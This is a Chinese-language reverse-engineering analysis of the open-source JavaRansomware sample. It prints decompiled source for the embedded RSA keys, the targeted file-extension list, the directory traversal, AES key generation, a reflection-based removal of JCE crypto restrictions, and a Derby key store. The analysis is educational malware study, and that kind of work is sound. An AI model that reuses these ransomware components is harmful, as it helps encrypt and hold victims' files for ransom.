Welcome to the Shanghai Science Technology Co., Ltd. the official website of the positive data!
Home > 新闻中心 > 行业动态

开源勒索软件JavaRansomware原理深度分析解密

Updated:2017-11-06 21:06:00Click:34130
这玩意的意义在于演示勒索软件的加密过程 # 开源勒索软件JavaRansomware分析 **Author:wnagzihxain ## 0x00 前言 这是一个Java写的勒索软件,源码托管在Github上 - https://github.com/PanagiotisDrakatos/JavaRansomware
这玩意的意义在于演示勒索软件的加密过程

# 开源勒索软件JavaRansomware分析


**Author:wnagzihxain

## 0x00 前言
这是一个Java写的勒索软件,源码托管在Github上
- https://github.com/PanagiotisDrakatos/JavaRansomware

## 0x01 逆向分析
在拿到样本之后,我们使用jdgui载入

找到入口main函数



公钥和私钥,加密方式目测非对称加密或者说其中某一环节利用到了非对称加密
[Java] 纯文本查看 复制代码
?
1
2
private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";

这年头勒索软件要是只有对称加密还是不要出来混了

入口调用本类`Processing()`方法,传入两个参数`toSearch``attack`,都是`String`类型,第一个参数是路径,第二个参数表示是要执行加密还是解密
[Java] 纯文本查看 复制代码
?
1
2
3
4
public static void main(String[] args) throws RansomwareException
{
Processing(args[0], args[1]);
}


`Processing()`方法,通过一个分支语句判断执行的是加密还是解密
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
private static void Processing(String toSearch, String attack) throws RansomwareException
{
RansomProcess p = new RansomProcess(toSearch);
if (attack.equalsIgnoreCase("ENCRYPT")) {
p.StartEncryptProcess("MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==");
} else if (attack.equalsIgnoreCase("DECRYPT")) {
p.StartDecryptProcess("MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=");
} else {
throw new RansomwareException("Mismatched Values Try again with correct one");
}
}

加密用公钥,解密用私钥,这里看起来很乱的样子,其实这是反编译器直接把字符串显示在函数里了,前面有这俩字符串的变量定义,所以原来的代码应该是这样写的
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
if (attack.equalsIgnoreCase("ENCRYPT")) {
p.StartEncryptProcess(PubicKey);
} else if (attack.equalsIgnoreCase("DECRYPT")) {
p.StartDecryptProcess(PrivateKey);
} else {
throw new RansomwareException("Mismatched Values Try again with correct one");
}

在这之前会处理传入的`toSearch`变量,这个是要加密的文件夹路径
[Java] 纯文本查看 复制代码
?
1
RansomProcess p = new RansomProcess(toSearch);

`RansomProcess`类代码不长,都是这些`catch`的代码



刚刚的构造方法
[Java] 纯文本查看 复制代码
?
1
2
3
4
public RansomProcess(String PathtoFind)
{
this.PathtoFind = PathtoFind;
}

同时有无参构造方法,会获取默认的路径
[Java] 纯文本查看 复制代码
?
1
2
3
4
public RansomProcess()
{
this.PathtoFind = getDefaultPath();
}

默认加密路径
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
private String getDefaultPath()
{
String path = System.getProperty("user.dir");
return path;
}

再回到`APP`类,当我们的第二个参数为`Encrypt`的时候,会执行加密
[Java] 纯文本查看 复制代码
?
1
p.StartEncryptProcess(PubicKey);

如果是`Decrypt`,会执行解密
[Java] 纯文本查看 复制代码
?
1
p.StartDecryptProcess(PrivateKey);

我们先来看加密过程



先获取加密路径下的文件列表
[Java] 纯文本查看 复制代码
?
1
TreeMap> containsFilters = new SearchDirectory(this.PathtoFind).GetFileMap();

而我们打开这个类,发现出错了



解决办法如下
- [Jdgui反编译jar文件出现INTERNAL ERROR错误](http://www.wangzhixian.org/Other ... %AF%AF/article.html)

效果如下



这个类就是获取目标路径的所有文件,然后存储在一个HashMap容器里

首先是各种文件后缀
[Java] 纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
private static final String DOC = "doc";
private static final String DOCX = "docx";
private static final String LOG = "log";
private static final String MSG = "msg";
private static final String ODT = "odt";
private static final String PAGES = "pages";
private static final String RTF = "rtf";
private static final String TEX = "tex";
private static final String TXT = "txt";
private static final String WPD = "wpd";
private static final String WPS = "wps";
private static final String HWP = "hwp";
private static final String CSV = "csv";
private static final String DAT = "dat";
private static final String GBR = "gbr";
private static final String GED = "ged";
private static final String KEY = "key";
private static final String KEYCHAIN = "keychain";
private static final String PPS = "pps";
private static final String PPT = "ppt";
private static final String PPTX = "pptx";
private static final String SDF = "sdf";
private static final String TAR = "tar";
private static final String TAX2012 = "tax2012";
private static final String TAX2014 = "tax2014";
private static final String VCF = "vcf";
private static final String XML = "xml";
private static final String ALF = "alf";
private static final String IFF = "iff";
private static final String M3U = "m3u";
private static final String M4A = "m4a";
private static final String MID = "mid";
private static final String MP3 = "mp3";
private static final String MPA = "mpa";
private static final String RA = "ra";
private static final String WAV = "wav";
private static final String WMA = "wma";
private static final String G32 = "3g2";
private static final String G3P = "3gp";
private static final String ASF = "asf";
private static final String ASX = "asx";
private static final String AVI = "avi";
private static final String FLV = "flv";
private static final String M4V = "m4v";
private static final String MOV = "mov";
private static final String MP4 = "mp4";
private static final String MPG = "mpg";
private static final String RM = "rm";
private static final String SRT = "srt";
private static final String SWF = "swf";
private static final String VOB = "vob";
private static final String WMV = "wmv";
private static final String D3M = "3dm";
private static final String D3S = "3ds";
private static final String MAX = "max";
private static final String OBJ = "obj";
private static final String BMP = "bmp";
private static final String DDA = "dda";
private static final String GIF = "gif";
private static final String JPG = "jpg";
private static final String PNG = "png";
private static final String PSD = "psd";
private static final String PSIMAGE = "pspimage";
private static final String TGA = "tga";
private static final String THM = "thm";
private static final String TIF = "tif";
private static final String TIFF = "tiff";
private static final String YUV = "yuv";
private static final String AI = "ai";
private static final String EPS = "eps";
private static final String PS = "ps";
private static final String SVG = "svg";
private static final String INDD = "indd";
private static final String PCT = "pct";
private static final String PDF = "pdf";
private static final String XLR = "xlr";
private static final String XLS = "xls";
private static final String XLSX = "xlsx";
private static final String Z7 = "7z";
private static final String RAR = "rar";
private static final String ZIP = "zip";
private static final String TARGZ = "tar.gz";
private static final String APK = "apk";
private static final String APP = "app";
private static final String COM = "com";
private static final String EXE = "exe";
private static final String ASP = "asp";
private static final String ASPX = "apsx";
private static final String CSS = "css";
private static final String HTM = "htm";
private static final String HTML = "html";
private static final String JS = "js";
private static final String JSP = "jsp";
private static final String PHP = "php";
private static final String XHTML = "xhtml";
private static final String FNT = "fnt";
private static final String FONT = "font";
private static final String OFT = "oft";
private static final String TTF = "ttf";
private static final String CRDOWNLAOD = "crdownload";
private static final String ICS = "ics";
private static final String MSI = "msi";
private static final String PART = "part";
private static final String TORRENT = "torrent";

唯独没有后缀的文件作者没有考虑

然后定义了一堆HashMap,和前面的后缀名对应,键和键值暂时不清楚是什么
[Java] 纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
private final HashMap docMap;
private final HashMap docxMap;
private final HashMap logMap;
private final HashMap msgMap;
private final HashMap odtMap;
private final HashMap pagesMap;
private final HashMap rtfMap;
private final HashMap texMap;
private final HashMap txtMap;
private final HashMap wpdMap;
private final HashMap wpsMap;
private final HashMap hwpMap;
private final HashMap csvMap;
private final HashMap datMap;
private final HashMap gbrMap;
private final HashMap gedMap;
private final HashMap keyMap;
private final HashMap keychainMap;
private final HashMap ppsMap;
private final HashMap pptMap;
private final HashMap pptxMap;
private final HashMap sdfMap;
private final HashMap tarMap;
private final HashMap tax2012Map;
private final HashMap tax2014Map;
private final HashMap vcfMap;
private final HashMap xmlMap;
private final HashMap alfMap;
private final HashMap iffMap;
private final HashMap m3uMap;
private final HashMap m4aMap;
private final HashMap midMap;
private final HashMap mp3Map;
private final HashMap mpaMap;
private final HashMap raMap;
private final HashMap wavMap;
private final HashMap wmaMap;
private final HashMap g2Map;
private final HashMap gpMap;
private final HashMap asfMap;
private final HashMap asxMap;
private final HashMap aviMap;
private final HashMap flvlvMap;
private final HashMap m4vMap;
private final HashMap movMap;
private final HashMap mp4Map;
private final HashMap mpgMap;
private final HashMap rmMap;
private final HashMap srtMap;
private final HashMap swfMap;
private final HashMap vobMap;
private final HashMap wmvMap;
private final HashMap d3mMap;
private final HashMap d3sMap;
private final HashMap maxMap;
private final HashMap objMap;
private final HashMap bmpMap;
private final HashMap ddaMap;
private final HashMap gifMap;
private final HashMap jpgMap;
private final HashMap pngMap;
private final HashMap psdMap;
private final HashMap pspimageMap;
private final HashMap tgaMap;
private final HashMap thmMap;
private final HashMap tifMap;
private final HashMap tiffMap;
private final HashMap yuvMap;
private final HashMap aiMap;
private final HashMap epsMap;
private final HashMap psMap;
private final HashMap svgMap;
private final HashMap inddMap;
private final HashMap pctMap;
private final HashMap pdfMap;
private final HashMap xlrMap;
private final HashMap xlsMap;
private final HashMap xlsxMap;
private final HashMap z7Map;
private final HashMap rarMap;
private final HashMap zipMap;
private final HashMap targzMap;
private final HashMap apkMap;
private final HashMap appMap;
private final HashMap comMap;
private final HashMap exeMap;
private final HashMap aspMap;
private final HashMap aspxMap;
private final HashMap cssMap;
private final HashMap htmMap;
private final HashMap htmlMap;
private final HashMap jsMap;
private final HashMap jspMap;
private final HashMap phpMap;
private final HashMap xhtmlMap;
private final HashMap fntMap;
private final HashMap fontMap;
private final HashMap oftMap;
private final HashMap ttfMap;
private final HashMap crdownloadMap;
private final HashMap icsMap;
private final HashMap msiMap;
private final HashMap partMap;
private final HashMap torrentMap;


最终返回的TreeMap和传入的路径
[Java] 纯文本查看 复制代码
?
1
2
private final TreeMap> containsFilters;
private String PathtoFind;

来看构造函数,传入路径,创建容器对象
[Java] 纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
public SearchDirectory(final String PathtoFind) {
super();
this.docMap = new HashMap();
this.docxMap = new HashMap();
this.logMap = new HashMap();
this.msgMap = new HashMap();
this.odtMap = new HashMap();
this.pagesMap = new HashMap();
this.rtfMap = new HashMap();
this.texMap = new HashMap();
this.txtMap = new HashMap();
this.wpdMap = new HashMap();
this.wpsMap = new HashMap();
this.hwpMap = new HashMap();
this.csvMap = new HashMap();
this.datMap = new HashMap();
this.gbrMap = new HashMap();
this.gedMap = new HashMap();
this.keyMap = new HashMap();
this.keychainMap = new HashMap();
this.ppsMap = new HashMap();
this.pptMap = new HashMap();
this.pptxMap = new HashMap();
this.sdfMap = new HashMap();
this.tarMap = new HashMap();
this.tax2012Map = new HashMap();
this.tax2014Map = new HashMap();
this.vcfMap = new HashMap();
this.xmlMap = new HashMap();
this.alfMap = new HashMap();
this.iffMap = new HashMap();
this.m3uMap = new HashMap();
this.m4aMap = new HashMap();
this.midMap = new HashMap();
this.mp3Map = new HashMap();
this.mpaMap = new HashMap();
this.raMap = new HashMap();
this.wavMap = new HashMap();
this.wmaMap = new HashMap();
this.g2Map = new HashMap();
this.gpMap = new HashMap();
this.asfMap = new HashMap();
this.asxMap = new HashMap();
this.aviMap = new HashMap();
this.flvlvMap = new HashMap();
this.m4vMap = new HashMap();
this.movMap = new HashMap();
this.mp4Map = new HashMap();
this.mpgMap = new HashMap();
this.rmMap = new HashMap();
this.srtMap = new HashMap();
this.swfMap = new HashMap();
this.vobMap = new HashMap();
this.wmvMap = new HashMap();
this.d3mMap = new HashMap();
this.d3sMap = new HashMap();
this.maxMap = new HashMap();
this.objMap = new HashMap();
this.bmpMap = new HashMap();
this.ddaMap = new HashMap();
this.gifMap = new HashMap();
this.jpgMap = new HashMap();
this.pngMap = new HashMap();
this.psdMap = new HashMap();
this.pspimageMap = new HashMap();
this.tgaMap = new HashMap();
this.thmMap = new HashMap();
this.tifMap = new HashMap();
this.tiffMap = new HashMap();
this.yuvMap = new HashMap();
this.aiMap = new HashMap();
this.epsMap = new HashMap();
this.psMap = new HashMap();
this.svgMap = new HashMap();
this.inddMap = new HashMap();
this.pctMap = new HashMap();
this.pdfMap = new HashMap();
this.xlrMap = new HashMap();
this.xlsMap = new HashMap();
this.xlsxMap = new HashMap();
this.z7Map = new HashMap();
this.rarMap = new HashMap();
this.zipMap = new HashMap();
this.targzMap = new HashMap();
this.apkMap = new HashMap();
this.appMap = new HashMap();
this.comMap = new HashMap();
this.exeMap = new HashMap();
this.aspMap = new HashMap();
this.aspxMap = new HashMap();
this.cssMap = new HashMap();
this.htmMap = new HashMap();
this.htmlMap = new HashMap();
this.jsMap = new HashMap();
this.jspMap = new HashMap();
this.phpMap = new HashMap();
this.xhtmlMap = new HashMap();
this.fntMap = new HashMap();
this.fontMap = new HashMap();
this.oftMap = new HashMap();
this.ttfMap = new HashMap();
this.crdownloadMap = new HashMap();
this.icsMap = new HashMap();
this.msiMap = new HashMap();
this.partMap = new HashMap();
this.torrentMap = new HashMap();
this.containsFilters = new TreeMap>();
this.PathtoFind = PathtoFind;
this.AddContainFilter();
this.SavAllFilters();
}

后面这几句,初始化最总返回的容器对象,初始化路径变量,然后调用`AddContainFilter()``SavAllFilters()`两个方法
[Java] 纯文本查看 复制代码
?
1
2
3
4
this.containsFilters = new TreeMap>();
this.PathtoFind = PathtoFind;
this.AddContainFilter();
this.SavAllFilters();

`AddContainFilter()`方法,先将各种后缀文件的HashMap存储到`containsFilters`里,那么这里键和键值就可以知道是什么了,键是后缀名,键值是对应的HashMap
[Java] 纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
private void AddContainFilter() {
this.containsFilters.put("doc", this.docMap);
this.containsFilters.put("docx", this.docxMap);
this.containsFilters.put("log", this.logMap);
this.containsFilters.put("msg", this.msgMap);
this.containsFilters.put("odt", this.odtMap);
this.containsFilters.put("pages", this.pagesMap);
this.containsFilters.put("rtf", this.rtfMap);
this.containsFilters.put("tex", this.texMap);
this.containsFilters.put("txt", this.txtMap);
this.containsFilters.put("wpd", this.wpdMap);
this.containsFilters.put("wps", this.wpsMap);
this.containsFilters.put("hwp", this.hwpMap);
this.containsFilters.put("csv", this.csvMap);
this.containsFilters.put("dat", this.datMap);
this.containsFilters.put("gbr", this.gbrMap);
this.containsFilters.put("ged", this.gedMap);
this.containsFilters.put("key", this.keyMap);
this.containsFilters.put("keychain", this.keychainMap);
this.containsFilters.put("pps", this.ppsMap);
this.containsFilters.put("ppt", this.pptMap);
this.containsFilters.put("pptx", this.pptxMap);
this.containsFilters.put("sdf", this.sdfMap);
this.containsFilters.put("tar", this.tarMap);
this.containsFilters.put("tax2012", this.tax2012Map);
this.containsFilters.put("tax2014", this.tax2014Map);
this.containsFilters.put("vcf", this.vcfMap);
this.containsFilters.put("xml", this.xmlMap);
this.containsFilters.put("alf", this.alfMap);
this.containsFilters.put("iff", this.iffMap);
this.containsFilters.put("m3u", this.m3uMap);
this.containsFilters.put("m4a", this.m4aMap);
this.containsFilters.put("mid", this.midMap);
this.containsFilters.put("mp3", this.mp3Map);
this.containsFilters.put("mpa", this.mpaMap);
this.containsFilters.put("ra", this.raMap);
this.containsFilters.put("wav", this.wavMap);
this.containsFilters.put("wma", this.wmaMap);
this.containsFilters.put("3g2", this.g2Map);
this.containsFilters.put("3gp", this.gpMap);
this.containsFilters.put("asf", this.asfMap);
this.containsFilters.put("asx", this.asxMap);
this.containsFilters.put("avi", this.aviMap);
this.containsFilters.put("flv", this.flvlvMap);
this.containsFilters.put("m4a", this.m4vMap);
this.containsFilters.put("mov", this.movMap);
this.containsFilters.put("mp4", this.mp4Map);
this.containsFilters.put("mpg", this.mpgMap);
this.containsFilters.put("rm", this.rmMap);
this.containsFilters.put("srt", this.srtMap);
this.containsFilters.put("swf", this.swfMap);
this.containsFilters.put("vob", this.vobMap);
this.containsFilters.put("wmv", this.wmvMap);
this.containsFilters.put("3dm", this.d3mMap);
this.containsFilters.put("3ds", this.d3sMap);
this.containsFilters.put("max", this.maxMap);
this.containsFilters.put("obj", this.objMap);
this.containsFilters.put("bmp", this.bmpMap);
this.containsFilters.put("dda", this.ddaMap);
this.containsFilters.put("gif", this.gifMap);
this.containsFilters.put("jpg", this.jpgMap);
this.containsFilters.put("png", this.pngMap);
this.containsFilters.put("psd", this.psdMap);
this.containsFilters.put("pspimage", this.pspimageMap);
this.containsFilters.put("tga", this.tgaMap);
this.containsFilters.put("thm", this.thmMap);
this.containsFilters.put("tif", this.tifMap);
this.containsFilters.put("tiff", this.tiffMap);
this.containsFilters.put("yuv", this.yuvMap);
this.containsFilters.put("ai", this.aiMap);
this.containsFilters.put("eps", this.epsMap);
this.containsFilters.put("ps", this.psMap);
this.containsFilters.put("svg", this.svgMap);
this.containsFilters.put("indd", this.inddMap);
this.containsFilters.put("pct", this.pctMap);
this.containsFilters.put("pdf", this.pdfMap);
this.containsFilters.put("xlr", this.xlrMap);
this.containsFilters.put("xls", this.xlsMap);
this.containsFilters.put("xlsx", this.xlsxMap);
this.containsFilters.put("7z", this.z7Map);
this.containsFilters.put("rar", this.rarMap);
this.containsFilters.put("zip", this.zipMap);
this.containsFilters.put("tar.gz", this.targzMap);
this.containsFilters.put("apk", this.apkMap);
this.containsFilters.put("app", this.appMap);
this.containsFilters.put("com", this.comMap);
this.containsFilters.put("exe", this.exeMap);
this.containsFilters.put("asp", this.aspMap);
this.containsFilters.put("apsx", this.aspxMap);
this.containsFilters.put("css", this.cssMap);
this.containsFilters.put("htm", this.htmMap);
this.containsFilters.put("html", this.htmlMap);
this.containsFilters.put("js", this.jsMap);
this.containsFilters.put("jsp", this.jspMap);
this.containsFilters.put("php", this.phpMap);
this.containsFilters.put("xhtml", this.xhtmlMap);
this.containsFilters.put("fnt", this.fntMap);
this.containsFilters.put("font", this.fontMap);
this.containsFilters.put("oft", this.oftMap);
this.containsFilters.put("ttf", this.ttfMap);
this.containsFilters.put("crdownload", this.crdownloadMap);
this.containsFilters.put("ics", this.icsMap);
this.containsFilters.put("msi", this.msiMap);
this.containsFilters.put("part", this.partMap);
this.containsFilters.put("torrent", this.torrentMap);
}

然后`SavAllFilters()`方法
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
private void SavAllFilters() {
try (final Stream paths = Files.walk(Paths.get(this.PathtoFind, new String[0]), new FileVisitOption[0])) {
final String extendsion;
final String FilePath;
paths.forEach(filePath -> {
if (Files.isRegularFile(filePath, new LinkOption[0])) {
System.out.println(filePath);
extendsion = FilenameUtils.getExtension(filePath.toString());
FilePath = FilenameUtils.removeExtension(filePath.toString());
this.SaveToMap(extendsion, FilePath);
}
return;
});
}
catch (IOException e) {
e.printStackTrace();
}
}

一开始这代码看得我有点懵逼,原谅我没见过世面,我是真的觉得这代码写的值得我学习

没搜到什么相关的资料,决定翻源码,这个方法在`Paths`类里面,`get()`方法会返回一个`Path`类型对象,本质上调用了`getPath()`方法,这个方法能搜到的资料就相对多很多了
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* Converts a path string, or a sequence of strings that when joined form
* a path string, to a {@Code Path}. If {@code more} does not specify any
* elements then the value of the {@code first} parameter is the path string
* to convert. If {@code more} specifies one or more elements then each
* non-empty string, including {@code first}, is considered to be a sequence
* of name elements (see {@link Path}) and is joined to form a path string.
* The details as to how the Strings are joined is provider specific but
* typically they will be joined using the {@link FileSystem#getSeparator
* name-separator} as the separator. For example, if the name separator is
* "{@code /}" and {@code getPath("/foo","bar","gus")} is invoked, then the
* path string {@code "/foo/bar/gus"} is converted to a {@code Path}.
* A {@code Path} representing an empty path is returned if {@code first}
* is the empty string and {@code more} does not contain any non-empty
* strings.
*
*

The {@code Path} is obtained by invoking the {@link FileSystem#getPath

* getPath} method of the {@link FileSystems#getDefault default} {@link
* FileSystem}.
*
*

Note that while this method is very convenient, using it will imply

* an assumed reference to the default {@code FileSystem} and limit the
* utility of the calling code. Hence it should not be used in library code
* intended for flexible reuse. A more flexible alternative is to use an
* existing {@code Path} instance as an anchor, such as:
*
 
*     Path dir = ...
*     Path path = dir.resolve("file");
*
*
* @param   first
*          the path string or initial part of the path string
* @param   more
*          additional strings to be joined to form the path string
*
* @Return  the resulting {@code Path}
*
* @throws  InvalidPathException
*          if the path string cannot be converted to a {@code Path}
*
* @see FileSystem#getPath
*/
public static Path get(String first, String... more) {
return FileSystems.getDefault().getPath(first, more);
}

然后迭代,这里`paths`的类型`Stream`是Java 8的新特性,比`Iterator`强,最后将后缀名与去掉后缀名的路径传给`SaveToMap(extendsion, FilePath)`方法,这里会在控制台输出所有文件的路径
[Java] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
paths.forEach(filePath -> {
if (Files.isRegularFile(filePath, new LinkOption[0])) {
System.out.println(filePath);
extendsion = FilenameUtils.getExtension(filePath.toString());
FilePath = FilenameUtils.removeExtension(filePath.toString());
this.SaveToMap(extendsion, FilePath);
}
return;
});

至于`Files.isRegularFile()`方法所判断的类型,StackOverFlow上面的网友是这样回答的:
[Asm] 纯文本查看 复制代码
?
1
2
3
I figure rm -i is an alias, possibly rm -i. The "regular" part doesn't mean anything in particular, it only means that it's not a pipe, device, socket or anything other "special".
it means the file is not a symlink, pipe, rand, null, cpu, etc. Perhaps you have heard the linux philosophy everything is a text. This isn't literally true, but it suggests a dominant operational context where string processing tools can be applied to filesystem elements directly. In this case, it means that in a more literal fashion. To see the detection step in isolation, try the command file, as in file /etc/passwd or file /dev/null.

`SaveToMap()`方法非常长,700多行,这里看图比较好



没看懂的是为什么不直判断后缀名而是先执行`hashcode()`,可能是反编译器的问题,也可能是编译的问题,不过这个地方可能击中了jdgui的bug,通过判断后缀给n赋值,然后在第二个switch里面进行操作



迭代完返回,但是上面在创建对象的时候调用了`GetFileMap()`,在初始化完之后获取了`containsFilters`,这里包含了目标路径下所有文件的路径,后缀信息
[Java] 纯文本查看 复制代码
?
1
2
3
public TreeMap> GetFileMap() {
return this.containsFilters;
}

在获取了目标路径下的文件信息后,设置迭代器,并定义一个key
[Java] 纯文本查看 复制代码
?
1
2
3
final Set set = containsFilters.entrySet();
final Iterator iterator = set.iterator();
SecretKeySpec aesKey = null;

然后初始化key
[Java] 纯文本查看 复制代码
?
1
aesKey = CryptoRansomware.GenKey();

`GenKey()`方法
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
public static SecretKeySpec GenKey() throws NoSuchAlgorithmException, RansomwareException, SQLException {
if (EmbeddedDatabase.CreateTable()) {
throw new RansomwareException("Already Encrypted And Stored To Embedded Database");
}
final KeyGenerator kgen = KeyGenerator.getInstance("AES");
kgen.init(256);
final SecretKey key = kgen.generateKey();
final byte[] aesKey = key.getEncoded();
final SecretKeySpec aeskeySpec = new SecretKeySpec(aesKey, "AES");
return aeskeySpec;
}

`CryptoRansomware`有一个static代码块,在第一次加载的时候执行一次,初始化了一个byte数组,调用了`removeCryptographyRestrictions()`方法
[Java] 纯文本查看 复制代码
?
1
2
3
4
static {
CryptoRansomware.ivBytes = new byte[] { 21, 20, 19, 18, 17, 16, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
removeCryptographyRestrictions();
}

`removeCryptographyRestrictions()`方法
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static void removeCryptographyRestrictions() {
if (!isRestrictedCryptography()) {
System.out.println("Cryptography restrictions removal not needed");
return;
}
try {
final Class jceSecurity = Class.forName("javax.crypto.JceSecurity");
final Class cryptoPermissions = Class.forName("javax.crypto.CryptoPermissions");
final Class cryptoAllPermission = Class.forName("javax.crypto.CryptoAllPermission");
final Field isRestrictedField = jceSecurity.getDeclaredField("isRestricted");
isRestrictedField.setAccessible(true);
final Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(isRestrictedField, isRestrictedField.getModifiers() & 0xFFFFFFEF);
isRestrictedField.set(null, false);
final Field defaultPolicyField = jceSecurity.getDeclaredField("defaultPolicy");
defaultPolicyField.setAccessible(true);
final PermissionCollection defaultPolicy = (PermissionCollection)defaultPolicyField.get(null);
final Field perms = cryptoPermissions.getDeclaredField("perms");
perms.setAccessible(true);
((Map)perms.get(defaultPolicy)).clear();
final Field instance = cryptoAllPermission.getDeclaredField("INSTANCE");
instance.setAccessible(true);
defaultPolicy.add((Permission)instance.get(null));
System.out.println("Successfully removed cryptography restrictions");
}
catch (Exception e) {
System.out.println("Failed to remove cryptography restrictions" + e);
}
}

因为是在初始化的时候直接调用,并没有做判断,所以在最开始调用了`isRestrictedCryptography()`做了一下判断
[Java] 纯文本查看 复制代码
?
1
2
3
private static boolean isRestrictedCryptography() {
return "Java(TM) SE Runtime Environment".equals(System.getProperty("java.runtime.name"));
}

这里主要用于确保后续有对某些类里字段的操作权限

继续`GenKey()`,先进行一个判断`EmbeddedDatabase.CreateTable()`,先创建一个表,如果表存在,返回`true`,如果不存在,则创建
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static boolean CreateTable() {
PreparedStatement preparedStatement = null;
boolean flag = false;
final String createTableSQL = "CREATE TABLE RansomTable(MapTable BLOB ,EncryptedKey VARCHAR(100))";
try {
preparedStatement = EmbeddedDatabase.conn.prepareStatement(createTableSQL);
System.out.println(createTableSQL);
preparedStatement.executeUpdate();
EmbeddedDatabase.conn.commit();
System.out.println("TableRansomTableis created!");
}
catch (SQLException e) {
System.out.println(e.getMessage());
if (DerbyUtils.tableAlreadyExists(e)) {
flag = true;
}
if (preparedStatement != null) {
try {
preparedStatement.close();
}
catch (SQLException e) {
e.printStackTrace();
}
}
}
finally {
if (preparedStatement != null) {
try {
preparedStatement.close();
}
catch (SQLException e2) {
e2.printStackTrace();
}
}
}
return flag;
}

`EmbeddedDatabase`有一个static代码块,在第一次加载的时候执行一次,连接数据库,这里用的是`derby`
[Java] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
static {
Connection tempconn = null;
try {
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
tempconn = DriverManager.getConnection("jdbc:derby:RansomDB;create=true");
if (tempconn != null) {
System.out.println("connect success");
}
}
catch (Exception except) {
except.printStackTrace();
}
conn = tempconn;
}

